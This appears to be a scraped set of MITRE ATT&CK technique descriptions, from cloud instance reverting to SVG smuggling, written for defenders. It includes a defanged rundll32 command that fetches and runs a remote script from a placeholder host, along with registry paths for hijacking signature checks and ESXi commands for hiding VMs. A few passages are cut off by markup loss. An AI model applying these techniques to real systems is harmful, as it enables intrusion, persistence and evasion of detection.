Techniques

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.[1][2]

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.[1]

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.[2][3] RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. [1] Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. [2]

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). [1] The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. [1]

Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection.

In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. [1] [2]

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. [1]

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware. [2] Rootkits have been seen for Windows, Linux, and Mac OS X systems. [3] [4]

Rootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. CitationEnterprise ATT&CK January 2018

Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for the I/O that is attached to an asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.[1] Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.[2]

Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).[3] After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.[4]

Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.[5][6][7]

In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., RC Scripts) will cause the VM to persistently restart.[8] Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.[9]

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.[1] For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.[2]

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.[3][4]

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[5][6] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[7]

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.[1][2] By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.[1] The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.[2] Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.[3]

An adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.[4] This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.[4]

Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.[1][2]

To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).[3][1]

In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity[4] which may be targeted and gamed by malicious actors.[5]

Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.[2][6]

SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.[3][7]

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. [1] An account can hold additional SIDs in the SID-History Active Directory attribute [2], allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values [3] may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.

Adversaries may gain access to mobile devices through transfers or swaps from victims’ phone numbers to adversary-controlled SIM cards and mobile devices.[1][2]

The typical process is as follows:

1. Adversaries will first gather information about victims through Phishing, social engineering, data breaches, or other avenues. 2. Adversaries will then impersonate victims as they contact mobile carriers to request for the SIM swaps. For example, adversaries would provide victims’ name and address to mobile carriers; once authenticated, adversaries would request for victims’ phone numbers to be transferred to adversary-controlled SIM cards. 3. Once completed, victims will lose mobile data, such as text messages and phone calls, on their mobile devices. In turn, adversaries will receive mobile data that was intended for the victims.

Adversaries may use the intercepted SMS messages to log into online accounts that use SMS-based authentication. Specifically, adversaries may use SMS-based authentication to log into banking and/or cryptocurrency accounts, then transfer funds to adversary-controlled wallets.

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode [1] digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, [2] which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. [3]

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) [4] to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all [5]) and are identified by globally unique identifiers (GUIDs). [3]

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: [3]

* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP [6] (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP [6] (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). * **Note:** The above hijacks are also possible without modifying the Registry via [DLL search order hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. [3]

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,[1] to interact with systems using remote procedure calls (RPCs),[2] transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.[3]

Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.

This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.[1][2]

Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages.

If the device has been jailbroken or rooted, an adversary may be able to access SMS Messages without the user’s knowledge or approval.

Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.[1] SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.[2]

Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.[1][3] In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.[1]

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages[1]. The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.[2][3]

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.[1][2] To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.[1][2][3]

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).[4] Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.[5]

Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.[1][2][3] Modern versions of Windows include a built-in SSH server and client.[4] The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., SSH Authorized Keys).

Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/authorized_keys`).[1] Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.[2] The SSH config file is usually located under /etc/ssh/sshd_config.

Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.[3][4] Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.[5] This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.[6][7] It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.[8]

Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.[1][2][3][4]

SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.

Adversaries may use SSL Pinning to protect the C2 traffic from being intercepted and analyzed.

SSL Pinning is a technique commonly utilized by legitimate websites to ensure that encrypted communications are only allowed with a pre-defined certificate. If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.

In normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server’s SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device’s trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with SSL Pinning , the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device’s trust store. This means that even if the server’s certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.

There are two types of SSL Pinning :

1. Certificate Pinning: The client stores a copy of the server’s certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.

2. Public Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.[1] SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `

SVG smuggling can take a number of forms. For example, threat actors may include content that:

* Assembles malicious payloads[2] * Downloads malicious payloads[3] * Redirects users to malicious websites[4] * Displays interactive content to users, such as fake login forms and download buttons.[4]

SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file.[2] SVGs may also be included in other types of documents, such as PDFs.